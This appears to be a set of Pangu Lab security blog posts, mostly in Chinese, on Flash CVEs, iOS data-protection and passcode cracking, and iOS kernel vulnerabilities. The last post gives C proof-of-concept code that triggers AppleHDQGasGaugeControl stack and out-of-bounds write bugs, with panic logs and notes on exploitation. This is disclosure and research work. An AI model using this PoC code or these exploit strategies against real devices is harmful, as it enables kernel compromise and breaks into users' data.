盘古实验室报告七个Flash安全漏洞获Adobe致谢

6月17日, Adobe发布安全更新APSB16-18,修复了Adobe Flash Player中的多处安全漏洞,Adobe官网同时发布公告致谢发现并报告这些漏洞的安全研究人员,盘古实验室的研究员Wen Guanxing获得了7个致谢:CVE-2016-4150,CVE-2016-4151,CVE-2016-4152,CVE-2016-4153,CVE-2016-4154,CVE-2016-4155,CVE-2016-4156

CVE-2016-4150,CVE-2016-4151,CVE-2016-4152,CVE-2016-4153

ShimContentFactory,ShimContentResolver,ShimOpportunityGenerator类成员函数解析输入时,对输入参数的成员缺少有效验证,导致未初始化内存,类型混淆等漏洞。修复后的类使用和父类相同的验证方式,直接抛弃不符合格式要求的输入参数。

CVE-2016-4154,CVE-2016-4155,CVE-2016-4156

ShimContentResolver类的某些子解释器,缺少对输入参数的效验证,解析过程中因操作非法地址导致内存崩溃。

参考链接

https://helpx.adobe.com/security/products/flash-player/apsb16-18.html

盘古实验室报告四个Flash安全漏洞获Adobe致谢

5月12日,全球软件巨头Adobe发布安全更新APSB16-15,修复了Adobe Flash Player中的多处安全漏洞,Adobe官网同时发布公告致谢发现并报告这些漏洞的安全研究人员,盘古实验室的研究员获得了4个致谢

CVE编号是CVE-2016-1097,CVE-2016-1098, CVE-2016-1099, CVE-2016-1100。

CVE-2016-1098, CVE-2016-1099, CVE-2016-1100

Flash 21后, OpportunityGenerator、Metadata、ContentFactory类的成员函数对输入变量类型存在验证不足的问题,导致了多个安全漏洞。此次修复后,成员函数对输入变量类型进行了更为严格的限制,不恰当的输入在AS3层就会拦截报错。

CVE-2016-1097

Flash 21中PSDK类未加验证地暴露了其析构函数,AS3层就可以直接清空对象内存,导致释放后利用。

Adobe官网链接

https://helpx.adobe.com/security/products/flash-player/apsb16-15.html

Janus(移动应用安全分析社区化平台) BlackHat Asia 2016 首秀

盘古团队的移动应用安全分析社区化平台Janus的想法是很好的。任何自动化分析平台都无法对抗性能、漏报、误报的问题。引入人工审计不可避免,如何能更好的结合人与机器,Janus探索了一条社区化的道路。

— 来自BlackHat ARSENAL 的现场反馈

盘古团队因为多次发布iOS完美越狱工具而被大家所熟悉,很多人希望盘古团队能不断的发布越狱工具,但这只是盘古团队的一个研究方向,盘古团队的研究并非仅局限于iOS安全研究。在这个万物互联的时代,盘古团队希望将丰富的系统攻防之道用于保障每台移动设备的安全和隐私。

2015年是移动安全威胁开始在公众面前有所感知的一年,从利用编译器后门感染了数千款应用(其中包括了微信、网易云音乐、12306以及银行手机客户端等)的XcodeGhost病毒,到影响用户量上亿、可被远程利用执行敏感操作的WormHole(虫洞)漏洞,还有同样感染量巨大、已经能看出暴利产业链端倪的GhostPush,种种安全事件无疑表明攻击者的心思从PC、WEB攻击慢慢转移到了大家还比较陌生的移动设备上。

把Android和iOS应用市场上的所有应用都扫描一遍,不放过任何一个恶意应用,尽全力发现所有的安全问题。” 是盘古团队的远大想法。然而现实很骨感,面对浩瀚的应用市场,无论投入多少计算资源都难以赶上市场的更新变化,即便分析出海量的检测报告,又如何甄别检测结果中的误报?

Janus的诞生,就是试图用另外一种方式解决问题。

我们把积累下来的安全能力和工具通过SaaS模式在线开放给所有人,甚至把从移动代码里提取到的特征规则都完全公开,希望能够借助社区的力量,将整个市场的安全状况呈现出来。在这个平台上,普通用户可以在社区中看到应用的分析评估报告以及别人对这个应用的评价,而更专业的用户则可以使用我们的自定义规则扫描服务,快速定位有问题的恶意代码家族和有风险的应用群体。

正是基于这个想法,盘古团队研发了移动应用安全分析社区化平台Janus。

团队于3月29日赴新加坡参加Black Hat,向全球安全研究人员讲解示范Janus,同时现场接受全球顶级安全爱好者的检验。 来自现场的安全研究人员及Virustotal、Synopsys、IBM等厂商的反馈表明,盘古团队的这个想法是正确的。

Janus的首秀现场的咨询异常火爆,甚至延时到影响同一个展位的下一个工具的展示。

未来,盘古团队将努力提高Janus后台的并发处理能力,并将我们的相似性比对、机器学习等研究成果集成到平台中。

我们仍在做一些完善工作,努力在第一时间把该平台开放给大家。

FBI vs Apple:FBI是幸运的

最近闹的沸沸扬扬的FBI vs Apple的事件,期间经历了FBI在法庭上要求苹果开发通用的破解锁屏密码的程序(并非媒体所传的后门), 苹果发布iOS 9.3,FBI要求查看iOS源代码到最后苹果威胁要在iCloud中用点对点加密代替现在的Master Key方案,最终该事件在前几天尘埃落定。据传言是在某个神秘选手的帮忙下,FBI终于解开了那台iPhone 5C手机。

最近的媒体传闻都是说苹果的锁屏密码多么难破解, 神秘选手技术多么厉害, 其实据我们分析, FBI这一次只是运气好, 碰到的是一台iPhone 5C, 如果这台设备是iPhone 5S的话, 那么很大可能还要通过法律手段。

苹果的锁屏密码到底有多么难破呢?为什么说这一次说FBI是幸运的?对于我们普通用户来说有什么影响?

请看我们对苹果数据加密机制以及锁屏密码保护机制的技术分析。

iOS上哪些数据做了加密?

首先,iOS整个磁盘是全盘加密的,解密的EMF Key (file-system master encryption key)保存在闪存中1号扇区的可安全擦除区域(擦除后无法恢复,并且支持远程擦除),该key对每台设备都是唯一,并且会在数据擦除时销毁;其次,在磁盘之上的文件系统的内容也是加密的, 在每个文件创建的时候会随机生成针对每个文件的Per-File Key,通过这个Per-File Key对文件中的内容进行加密保护,并且苹果又为此设计了Class Key来对Per-File Key进行保护。苹果设计A-F等各个不同的保护级别的Class Key,每个级别分别对应了密钥生成和销毁的时机,该级别可以通过数据保护的API来指定。默认设备上的信息,通讯录,邮件等都指定了iOS数据保护功能,而常见的几个级别分别是:

  • 全面保护(Class A)
    数据保护最为严格的级别,系统解锁后才能够解锁解密的密钥,并且在锁定以后丢弃该密钥。
  • 未打开文件保护(Class B)
    数据保护较为严格的级别,通过密钥包中的Class Key进行协商生成公私钥,文件一但解锁后即使系统锁屏仍然可以访问,直到文件句柄被关闭。
  • 首次认证前保护(Class C)
    数据保护较为严格的级别,在系统启动时第一次输入密码时解锁解密的密钥,并且在系统关闭时丢弃密钥。
  • 无数据保护(Class D)
    没有指定数据保护,但这不意味着文件没有加密保护,对于没有设置数据保护的其他所有文件,iOS中用一个DKey(Device Key)进行保护。该Key设备唯一,并且保存在闪存的可安全擦除区域。

从上述机制我们可以看出苹果对iOS数据保护的整个设计框架是相当完善的,结合硬件并且通过多重保护机制来防止各种物理手段上对设备的数据破解。

锁屏密码(Passcode)的作用

假设把每个文件的加密看作为上了一道锁的话,那么对应的开锁的钥匙就存放在系统密钥包里面,而锁屏密码除了防止用户进入系统桌面之外,更重要的角色就是利用密码对系统密钥包进行额外的加密保护。很多人对锁屏密码理解的一个误区,就是锁屏密码只是物理手段上防止进入手机的一个保护,但实际上,用户在第一次设置锁屏密码的时候,锁屏密码会结合硬件加密引擎生成一个叫做Passcode Key的密钥,通过这个密钥对保存在密钥包中的各个钥匙(Class Key)进行加密保护。锁屏密码不会以其他加密的形式保存在设备上,用户在解锁的时候,会直接用输入的密码生成Passcode Key对密钥包中的Class Key解密,解密失败代表用户密码错误。

从苹果的数据加密和锁屏密码的保护机制来看,直接拆除存储芯片并对其进行文件读写操作是不可能的。

破解Passcode Key的手段

Passcode Key是用户输入的passcode结合系统硬件的加密引擎以及PBKDF2(Password-Based Key Derivation Function)算法生成的。PBKDF2 的基本原理是通过一个伪随机函数,把明文和一个盐值及加密重复次数作为输入参数,然后重复进行运算,并最终产生密钥。重复运算的会使得暴力破解的成本变得很高,而硬件key及盐值的添加基本上断绝了通过“彩虹表”攻击的可能 。

由于硬件加密引擎的Key无法提取,所以 只能在目标的机器上运行暴力破解程序进行破解,假设用户的密码设置的足够复杂的话,那么破解的周期就会变得非常久。

在FBI这个案例中,由于嫌犯可能开启了输错10次密码自动擦除设备的选项,一旦暴力猜测程序连续10次输入错误的密码,设备上的所有内容就会擦除掉。一旦触发数据擦除,苹果会首先对可安全擦除区域进行擦除,物理方式上即使能够恢复大部分加密数据,但是却无法恢复可安全擦除区域中的数据,因为大部分的解密密钥都保存在这个区域中,例如能够解开系统密钥包的二进制数据的BAG1 Key。

后续苹果为了封堵各种暴力猜测Passcode的方法,在64位设备的Secure Enclave中增加了定时器,针对尝试密码的错误次数,增加尝试的延时,即使断电重启也无法解决。

历史上曾经出现过的破解方法

  • 早期的A4及更老的芯片(iPhone4之前的设备包括iPhone4)存在bootrom漏洞,通过bootrom中的硬件漏洞获取设备的shell然后运行暴力破解程序。[A4后面的芯片目前没有公开的bootrom漏洞]
  • iOS7中存在利用外接键盘可以暴力破解密码,甚至停用的设备也可以破解的漏洞。[该漏洞已经在iOS8中修复]
  • iOS8的早期几个版本中存在密码尝试失败立即断电并不会增加错误计数的漏洞。[该漏洞已经修复]

FBI是怎么破解这台手机的?

FBI要想要破解的这台手机是一台iPhone 5C并且运行着iOS 9,从硬件的角度上来说这是一台32位的设备(没有Secure Enclave),所以我们觉得相对可能的几个方案是(第三种是可能性最高的):

  1. 通过未公开的bootrom/iboot漏洞来获得系统的权限,然后通过修补内核的方式去绕过软件的错误计数来进行暴力破解密码。
  2. 使用未公开的暴力破解绕过错误计数的漏洞(类似曾经出现过的强制断电绕过的漏洞)
  3. 事先通过物理方式先对手机上闪存的数据进行克隆,由于32位系统不支持在Secure Enclave做硬件的计时和计数,可以通过类似USB外接键盘进行暴力猜测,每当猜测到9次左右的时候,再通过物理方式用克隆的数据对手机进行数据恢复,这样就避免了数据被擦除的尴尬。
  4. 通过摄像头追终嫌疑人的生活轨迹并且分析,比如摄像头刚好拍摄到嫌疑人在星巴克解锁手机,那么就可以通过图片分析的手段来判断用户输入的锁屏密码是什么。

为什么说FBI是幸运的?

如果这是一台64位的设备(拥有Secure Enclave),第三方即使拥有bootrom级别的漏洞都不可能对设备进行暴力破解, 除非在找到Secure Enclave的漏洞才有可能对设备进行暴力破解, 目前来看这种可能性微乎其微。这种情况下也许走司法程序是个更容易的方法。

那么苹果是否还有弱点?

从设备上的保护力度来看,苹果做的这套保护架构在没有类似bootrom漏洞之类的大杀器几乎很难去破解,那么是否有弱点?答案是肯定有的。

由于苹果在新的系统上引入了Touch ID来作为一个快捷输入passcode的方式,在设备已经输入过正确的解锁密码的情况下,并且设备解锁的时间在48小时之内,其实还是可以通过克隆指纹的方式对设备进行解锁。

其次就是当用户启用了iCloud数据备份的情况下,苹果在备份加密数据的同时,还对密钥包使用非对称密钥加密的方式加密后保存在苹果的iCloud服务器上,并且苹果拥有Master Key进行解密。

作为普通用户我应该怎么做?

作为一个普通用户来说,其实不用担心太多。因为你的数据还没敏感到苹果会来审查,你更应该关心的是注册Apple ID的邮件服务商是否足够安全,Apple ID的密码是否太简单,记得开启Apple ID两步认证哦。
如果你自认是一个对数据保护有极高要求的用户,那么建议你不要打开iCloud数据备份,不要设置指纹,锁屏密码最好不要设置数字的密码。

盘古将再次带来移动安全新产品,Black Hat Asia 2016见!

盘古团队将于3月30号在新加坡举办的Black Hat上展示移动应用安全分析的社区化平台。

移动设备上的恶意代码也像当年PC上的恶意代码一样正在快速发展,不同的是,移动设备相当于每个人的外部器官,感染恶意代码的移动设备带来威胁比PC更大,攻击者的手法也在不断进化,利用真实车辆违章记录,知道车主的姓名、车牌、违章地点从而构造出一个可信度极高的场景,发短信通知车主去下载安装攻击者好心提供的“应用”,除此之外,航班、快递、送餐等等我们每天接触到的衣食住行都可能有诈,从攻击背后的产业化合作、大规模利用都可以看出隐藏在恶意代码背后另一个活跃且繁荣的地下产业。

在“XCodeGhost”事件中,恶意代码感染了微信、12306、网易音乐等具有海量用户的应用,最可怕的是,在长达数个月的时间里,开发者和用户都没有人察觉到恶意代码的痕迹,盘古团队紧急响应进行分析,并在当天发布了XCodeGhost检测工具,当我们团队事后分析检测工具的数据后意识到,移动设备上的危险已经不再只有“高精尖”的APT攻击,更多的攻击者把目光投向大规模的利用和攻击,而普通用户在移动设备上的安全感知能力几乎为0,相关的安全研究信息更是难以获得和封闭……
专业网络安全公司一直更多关注在APT攻击上,用有限的专家、有限的资源面对“创新力”十足的庞大攻击产业,难以跟上攻击者进化的步伐,而我们希望在面对移动设备的恶意代码时,继续延续我们开放自由的越狱精神,与用户、众多技术专家共同面对这个问题,因此我们把自主研发的工具和数据中心的积累开放出来建立一个社区化平台,让普通用户、开发者都可以在我们的平台上对移动恶意代码进行研究、分享,贡献真知灼见,希望我们的中立、专业能够给移动安全领域带来一些新的动力。

盘古团队本次在Black Hat展示的移动应用安全分析社区化平台将提供在线的深度分析工具以及数据平台两方面能力。
安全工具:平台提供所有盘古团队自主研发的移动应用安全分析工具,包括Eacus、MossDroid、Akana、Swdk等,通过使用这些工具,安全分析人员能够还原移动应用的真实面貌,在线调试、深度剖析恶意代码。
数据平台:目前提供来自超过20个应用市场和各方机构对接的移动应用、这些移动应用的元数据、友商对接的威胁情报数据等。在这些数据的基础上,用户可自由编写扫描规则代码,平台帮助用户对所有应用进行扫描分析,并基于用户贡献的规则,提供各类关联分析,外部提供灵活的查询接口,安全分析人员能够从宏观角度分析移动安全问题。
社区化:从讨论恶意代码的产生到传播、利用的技术、造成的影响、应该如何去对抗,盘古团队提供了一些社区化的环节,通过这些环节,分析人员不再是单兵作战,恶意代码也可以看到完整的故事,让所有人的智慧都能展现出来。

盘古团队的大数据安全研发部、移动安全研发部持续整合、开发和完善平台,稍后会将该平台贡献给社区、团体。

iOS 9.2/9.2.1修补的内核漏洞

苹果在iOS 9.2iOS 9.2.1中陆续修补了大量漏洞,其中Google Project Zero团队的Ian Beer报告了多个内核漏洞,并且在苹果修补后给出了漏洞细节

条件竞争漏洞

通过查看公告可以发现除了熟知的UAF类型漏洞外(例如Pangu9中使用的即是UAF漏洞),还包含了多个条件竞争类型的漏洞。通过分析漏洞的细节可以发现苹果在许多情况下都没有考虑用户态多线程调用导致的竞争问题,因此不排除在别的模块也有类似的漏洞(例如在未开源的内核扩展中)。

此次被修补的漏洞包含数个能被实际利用的漏洞,其中有一个漏洞能够绕过地址随机等保护机制完全攻破内核(可被用于越狱)。下面会简单分析两个漏洞的细节,讨论编写利用的一些思路。

double free in IOHIDEventQueue::start

通过查看542报告可以知道漏洞的主要原因在于IOFreeAligned释放dataQueue后没有置空。虽然大多数情况下随后的initWithEntries函数会对dataQueue重新赋值,但是如果initWithEntries失败的话,dataQueue并不会被赋值。如果再次调用start函数就会导致double free的问题。

void IOHIDEventQueue::start() 
{
...
        if (dataQueue) {
            IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
        }

        if (_descriptor) {
            _descriptor->release();
            _descriptor = 0;
        }

        // init the queue again.  This will allocate the appropriate data.
        if ( !initWithEntries(_numEntries, _maxEntrySize) ) {
            goto START_END;
        }

如何使IOHIDEventQueue::initWithEntries失败?如果满足”numEntries > UINT32_MAX / entrySize”即能导致函数失败。而其中_numEntries是我们在创建IOHIDEventQueue时可以指定的。_maxEntrySize则会在IOHIDEventQueue::addElement函数中根据event的size来修改,也是可控的(通过创建设备时输入特殊的ReportDescriptor)。如果将_maxEntrySize设置成非常大的值即能导致函数失败。

Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
    UInt32 size = numEntries*entrySize;

    if ( numEntries > UINT32_MAX / entrySize )
        return false;

    if ( size < MIN_HID_QUEUE_CAPACITY )
        size = MIN_HID_QUEUE_CAPACITY;

    return super::initWithCapacity(size);
}

由于实际上dataQueue的分配是页面对齐的,因此两次释放很难直接利用来控制PC。通过进一步分析IOHIDEventQueue::start的调用者IOHIDLibUserClient可以发现该类重写了clientMemoryForType方法并允许映射queue到用户态(type设置为_createQueue函数返回的token),从而能够直接在用户态下读写dataQueue指向的内核内存区域。因此当dataQueue被释放后需要想办法用内核对象来占位,但由于需要分配较大的对象(页面对齐),可以考虑通过OSArray来分配一组内核对象尝试占位。从而在用户态可以修改OSArray中的内核对象的地址,从而控制vtable来控制PC执行代码。


IOReturn IOHIDLibUserClient::clientMemoryForTypeGated(
                                    UInt32                    token,
                                    IOOptionBits *            options,
                                    IOMemoryDescriptor **    memory )
{
    IOReturn                ret                = kIOReturnNoMemory;
    IOMemoryDescriptor        *memoryToShare    = NULL;
    IOHIDEventQueue            *queue            = NULL;

    // if the type is element values, then get that
    if (token == kIOHIDLibUserClientElementValuesType)
    {
        // if we can get an element values ptr
        if (fValid && fNub && !isInactive())
            memoryToShare = fNub->getMemoryWithCurrentElementValues();
    }
    // otherwise, the type is token
    else if (NULL != (queue = getQueueForToken(token)))
    {
        memoryToShare = queue->getMemoryDescriptor();
    }
...    

double free in iokit registry iterator

查看598报告中提到IORegistryIterator对象由于没有线程互斥的保护,导致对成员进行操作的时候可能会出错。例如两个线程同时调用exitEntry可能会触发double free。显然通过条件竞争触发二次释放来控制PC的稳定性不高,也没有办法绕过内核地址随机化的保护。

bool IORegistryIterator::exitEntry( void )
{
    IORegCursor *   gone;

    if( where->iter) {
    where->iter->release();
    where->iter = 0;
        if( where->current)// && (where != &start))
            where->current->release();
    }

    if( where != &start) {
    gone = where;
        where = gone->next;
        IOFree( gone, sizeof(IORegCursor));
    return( true);

    } else
        return( false);
}

是否存在其它稳定的条件竞争利用并且能够泄露内核地址?观察IORegistryIterator中其它操作成员的函数,enterEntry函数中会分配一个新的where,并将这个where的next指向之前的where(在单向列表的头部插入一个结点)。而之前分析的exitEntry函数则会尝试释放where->iter并释放where,之后将next指向的结点赋值给新的where(把单向列表的头部结点移除并释放)。


void IORegistryIterator::enterEntry( const IORegistryPlane * enterPlane )
{
    IORegCursor *   prev;

    prev = where;
    where = (IORegCursor *) IOMalloc( sizeof(IORegCursor));
    assert( where);

    if( where) {
        where->iter = 0;
        where->next = prev;
        where->current = prev->current;
        plane = enterPlane;
    }
}

在两个线程中分别调用exitEntry和enterEntry可能导致新创建的where的next指针指向一个已经被释放了的内存区域。执行序列:

  • enterEntry: prev = where | exitEntry: gone = where
  • enterEntry: where = IOMalloc(sizeof(IORegCursor)) | exitEntry: IOFree(gone, sizeof(IORegCursor)); // 此时prev指向的where实际已经被释放
  • enterEntry: where->next = prev; // 新创建的where->next指向已经被释放的内存区域

再次调用exitEntry后where将会指向被释放的内存区域,而该区域的内容我们可以通过堆风水控制。进一步获取代码执行相对容易,”where->iter->release();”这个虚函数调用完全可以控制。内核信息泄露则可以通过占位再释放后,再用一个同样的大小的object去占位,然后读出vtable来获取内核地址。

值得注意的是这个漏洞可以在iOS的沙盒内触发,因此在APP内就可以直接攻击内核,获取内核代码执行权限。建议用户尽快升级到最新版本,并且避免安装来历不明的APP

POC2015 & RUXCON2015 盘古团队议题

盘古团队于2015年10月24日、25日在澳大利亚墨尔本举办的Ruxcon 2015会议上分享了”iOS 9 Security: The Story Beyond The White Paper”的议题,并于2015年11月5日、6日在韩国首尔举办的POC 2015会议上分享了”Hacking from iOS8 to iOS9″的议题。

POC2015 & RUXCON2015 议题PDF下载

一个“短命”的iOS内核漏洞

漏洞的生命周期一直是一个很有意思的话题。人们(特别是媒体)通常对两类安全漏洞特别感兴趣。一类是许久不被修复的安全漏洞。这类漏洞通常反映出厂商对安全的漠视,甚至可以激起厂商和安全社区的对立,因此颇具新闻价值。另外一类是存在已久但刚被发现和公开的安全漏洞。这类漏洞一经公布,有时候会跳出很多人来“认货”,高喊自己手中的存货被曝光了。这类漏洞背后隐含的问题是很难估计这些漏洞的影响范围(例如漏洞已经被多少人发现了、已经被多少攻击利用了),因此特别适合各种阴谋论。

在这篇blog中,我们要分享一个非常“短命”的iOS内核漏洞。这个漏洞在iOS 9的测试版中被引入,但是在iOS 9的正式版中被修复,是个典型的存活周期短、影响范围极其有限的漏洞。之所以分享这个漏洞,一是这个漏洞成因非常典型,但反映出苹果对代码安全非常重视从而确保漏洞的及时修复;二是讨论一下简单模糊测试(Fuzz Testing)在挖掘这类漏洞时候的低效问题。

漏洞分析

漏洞存在于名为AppleCredentialManager的内核扩展模块。该模块通过AppleCredentialManagerUserClient与用户态程序通信,AppleCredentialManagerUserClient只有一个externalmethod。这个selector 0的处理函数可以接受任意长度的struct输入。下面简要描述一下漏洞的触发流程:

  • 在处理输入时,AppleCredentialManagerUserClient会首先检查输入数据的前四个字节是否为一个特定的Magic Number 0x53435244,如果不是则不会进一步处理这个输入。
  • AppleCredentialManagerUserClient进一步根据输入数据(下文简称input)的第5个字节判断数据的类型,即根据这个opcode(即input[5])进行数据分发。
  • 在iOS 8.4.1 中,AppleCredentialManagerUserClient接受的opcode范围是从0到10,但是在iOS 9的beta版和正式中,AppleCredentialManagerUserClient接受的opcode范围扩展到从0到19。
  • 在iOS 9 beta 版中处理opcode=11的输入数据时,AppleCredentialManagerUserClient会进一步解析从input+8开始的数据。这段数据的组织结构示意图如下:

|一个以\0结尾的字符串 | 4字节(代表后继数据长度) | 二进制数据 | paramsCount | param_0 | param_1 | …. | param_n|

  • paramsCount代表后继param结构的个数,而每个param结构的大小为12字节。在处理paramsCount和随后的params的时候,AppleCredentialManagerUserClient的处理逻辑如下:
memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if(paramsCount!=0){
    parametersBuffer = (void *)IOMalloc(12 * paramsCount);
  • 到这里问题已经显现。由于缺乏对 paramsCount的检查,计算内存分配size的时候存在整数溢出:如果设置 paramsCount为超大数值(例如0x80000001),会导致实际上仅分配少量字节。分配内存成功后,AppleCredentialManagerUserClient进一步将input中的param填充到分配的内存里,从而导致堆溢出。
  • 此外,填充内存的循环以paramsCount为边界。通常这样的漏洞会最终引起内核panic,很难利用。但在AppleCredentialManagerUserClient的填充过程中,会判断输入param的有效性。如果发现输入的param无效,则会跳出循环,为漏洞利用创造了条件。

漏洞修复

在iOS 9的正式版中,我们发现该漏洞已经被修复。AppleCredentialManagerUserClient增加了多处检查。

首先,AppleCredentialManagerUserClient增加检查,确保paramsCount不能大于10。

memmove(&paramsCount, input+ offset_of_paramsCount, 4u);
if ( paramsCount >= 0xB )
{
...
}

对于过大的paramsCount,内核会产生下面的assert报警

AssertMacros: paramsCount <= 10 (value: 0x0), file: /BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleCredentialManager/AppleCredentialManager-83.1.1/common/utils.c, line: 440

其次,在内存分配前,AppleCredentialManagerUserClient增加了乘法溢出的判断

if ( paramsCount != 12 * paramsCount / 12 )
{
...
}

简单Fuzzing的实效

对于这种漏洞,简单的主动式Fuzzing(即通过随机构造畸形样本对目标代码测试)会特别低效。只有当样本前四个字节是0x53435244并且第5个字节在0-19范围内,才能够对代码进行有效测试。而随机生成的样本很难满足这种约束。在PC端,大量改进代码Fuzzing的技术已经被提出并应用(例如符号执行),但在iOS内核场景下如何结合高级模糊测试技术还存在很多难题尚待解决。

2015中国互联网安全大会(ISC)演讲&培训

中国互联网安全大会将于2015.9.29-30号于北京国家会议中心举办,盘古团队首席科学家王铁磊作为智能移动终端攻防论坛主席将会分享“iOS安全体系演进过程及漏洞分析”的议题。同时在9.28号的安全训练营中盘古团队首次提供面向安全研究人员的培训,具体培训信息:

培训主题:
iOS用户态漏洞挖掘与利用

培训内容:
首先介绍iOS系统上的各种安全机制,讲解iOS沙盒、地址随机化、代码签名等机制的实现原理和常见对抗策略。随后结合真机操作,进一步介绍越狱环境下的开发调试手段。在漏洞挖掘和利用方面,重点讲解iOS平台上进程间通信漏洞的挖掘及POC分析方法,最后结合一个iOS8.2下的真实漏洞案例讲解如何编写漏洞利用的Exploit。

培训目录:
1. iOS 安全概述
1.1 主要安全机制及演进过程
1.2 与其他系统安全机制比较
2. iOS 越狱环境开发与调试
2.1 XCode开发
2.2 命令行开发
2.3 动态调试
3. Exploit开发基础
3.1 ARM指令简介
3.2 常见漏洞原理分析
4. iOS进程间通信简介
4.1 Mach Message
4.2 XPC
5. iOS进程间通信漏洞挖掘与分析
5.1 挖掘过程
5.2 典型漏洞POC开发
6. 绕过ASLR和DEP: ROP Exploit开发
6.1 查找ROP gadget
6.2 构造ROP链
6.3 基于XPC的heap spraying

学员要求:
– 了解基本的漏洞原理及利用技术
– 有ARM架构的逆向工程经验
– 熟悉常见的漏洞挖掘手段
– 有编码经验

培训环境(学员准备):
– 运行最新OSX 10.10系统的Mac电脑
– 安装XCode 6.4以上版本
– 安装IDA Pro 6.5以上版本

培训环境(培训方提供)
– iOS8.4越狱环境的iPhone4S

同时在培训后的交流环节会讨论iOS越狱的技术手段及我们公布的iOS8.4.1内核漏洞的细节

报名培训请点击

iOS 8.4.1 Kernel Vulnerabilities in AppleHDQGasGaugeControl

When auditing iOS kernel executable, we found that the code quality of com.apple.driver.AppleHDQGasGaugeControl is very bad. In this blog, we will disclose 3 vulnerabilities in this kernel extension on the latest public iOS (version 8.4.1). More importantly, one of these bugs is a perfect heap overflow vulnerability that allows us to defeat all kernel mitigations and gain code execution in the kernel, just by exploiting this single vulnerability.

1st – Stack overflow bug in the function for selector 7

The handler function takes 3 input scalars and 1 output scalar. The following code shows that stack overflow may occur since there’s no restriction for inputScalar[1]. If inputScalar[1] is a very large number, the loop will corrupt the stack.

  int v17; // [sp+0h] [bp-3Ch]@5
  int v18; // [sp+10h] [bp-2Ch]@25

  if ( inputScalar[1] )
  {
    v10 = 0;
    do
    {
      v11 = -64;
      if ( (1 << v10) & inputScalar[0] )
        v11 = -2;
      *((_BYTE *)&v17 + v10++) = v11;       // v17 is on the stack
    }
    while ( inputScalar[1] != v10 );
  }

The POC is extremely simple. We try to open the service at first and call the panic1 function to trigger the stack overflow.

void panic1(io_connect_t connection)
{
    uint64_t inputScalar[3];
    uint64_t outputScalar[1] = {0};
    uint32_t outputCnt = 1;

    inputScalar[0] = 0xF000000;
    inputScalar[1] = 0xF000000;
    inputScalar[2] = 0xF000000;

    IOConnectCallMethod(connection, 7, inputScalar, 3, NULL, 0, outputScalar, &outputCnt, NULL, NULL);
}

int main(int argc, const char * argv[])
{
    CFMutableDictionaryRef matching = IOServiceMatching("AppleHDQGasGaugeControl");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connection;
    kern_return_t kr  = IOServiceOpen(service, mach_task_self(), 0, &connection);
    if(KERN_SUCCESS == kr){
        panic1(connection);
    }
    return 0;
}

PANIC LOG

panic(cpu 1 caller 0x950b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x93034000
r0:   0x000004ac  r1: 0x00000001  r2: 0x93033b54  r3: 0xffffffc0
r4:   0x0f000000  r5: 0x971ddc00  r6: 0x0f000000  r7: 0x93033b90
r8:   0x93033bd0  r9: 0x145d1371 r10: 0x0f000000 r11: 0x9540a390
r12:  0x00f42400  sp: 0x93033b54  lr: 0x95ccffcb  pc: 0x95ccfeda
cpsr: 0x60000033 fsr: 0x00000807 far: 0x93034000

Debugger message: panic
OS version: 12H321
Kernel version: Darwin Kernel Version 14.0.0: Wed Aug  5 19:24:44 PDT 2015; root:xnu-2784.40.6~18/RELEASE_ARM_S5L8950X
Kernel slide:     0x0000000015000000
Kernel text base: 0x95001000
  Boot    : 0x55eebb5c 0x00000000
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x55eebbf2 0x000413c9

Panicked task 0xb6d20318: 247 pages, 1 threads: pid 180: m1
panicked thread: 0x813f75e0, backtrace: 0x93033820
        0x950b5cc9
        0x950b6061
        0x9501ee2b
        0x950b8e95
        0x950b1800
        0xc0c0c0c0   <------ the stack is corrupted
        0x00000000

2nd – Out-of-bound memory access bug in the function for selector 14

The handler function doesn’t taket any input, instead it will deal with the share memory. As discussed in our Blackhat talk, it is very easy to control the content of the share memory via calling IOConnectMapMemory. By checking the start function we will see how the driver initializes the share memory.

  v8 = (IOBufferMemoryDescriptor *)IOBufferMemoryDescriptor::withOptions(0x10000, 4096, 1);
  *(_DWORD *)(v2 + 100) = v8;
  if ( v8 )
  {
    mapAddr = (void *)(*(_DWORD (__cdecl **)(IOBufferMemoryDescriptor *))(*(_DWORD *)v8 + 220))(v8);
    *(_DWORD *)(v2 + 104) = mapAddr;    // object+104 stores the memory address
    bzero_130(mapAddr, 0x1000u);
    *(_DWORD *)(*(_DWORD *)(v2 + 104) + 20) = 339;  // memory+20 stores the total count

Actually the memory is used to store an array of data which is 12 bytes of each element. So 4KB memory can hold 339 elements. Then let’s further check how the function deals with the share memory.

      mapAddr = *(_DWORD *)(self + 104);    // get memory address of share memory
      // mod 339 to get position for writing
      v9 = sub_80CF4A20(*(_QWORD *)(mapAddr + 16), *(_QWORD *)(mapAddr + 16) >> 32);
      v10 = v9;
      v11 = mapAddr + 12 * v9    // v11 may point outside the memory
      *(_BYTE *)(v11 + 28) = v7;
      v11 += 28;
      *(_BYTE *)(v11 + 3) = BYTE3(v7);
      *(_BYTE *)(v11 + 2) = (unsigned int)v7 >> 16;
      *(_BYTE *)(v11 + 1) = BYTE1(v7);
      *(_QWORD *)(v11 + 4) = *(_QWORD *)(mapAddr + 8); // writing with controlled source

The problem is that the driver trusts the total count number stored in share memory which could be easily modified. So if we are able to know the memory address (which may require some other information leak bugs) we could make v11 points to any 12 bytes aligned kernel address. And then we can modify a qword value to whatever we want. Please check the function panic2 below.

void panic2(io_connect_t connection)
{
    vm_address_t address = 0;
    vm_size_t vmsize = 4096;
    kern_return_t kr = IOConnectMapMemory(connection, 0, mach_task_self(), &address, &vmsize, kIOMapAnywhere);
    if (kr != KERN_SUCCESS || vmsize != 4096) {
        return;
    }

    *(uint32_t *)(address + 16) = 0xAAAAAAA;
    *(uint32_t *)(address + 20) = 0;  // change 339 to 0

    IOConnectCallMethod(connection, 14, NULL, 0, NULL, 0, NULL, NULL, NULL, NULL);
}

PANIC LOG

panic(cpu 1 caller 0x908b8e95): kernel abort type 4: fault_type=0x3, fault_addr=0x5f33b014
r0:   0x00000000  r1: 0xdf33b000  r2: 0x5f33aff8  r3: 0x00000000
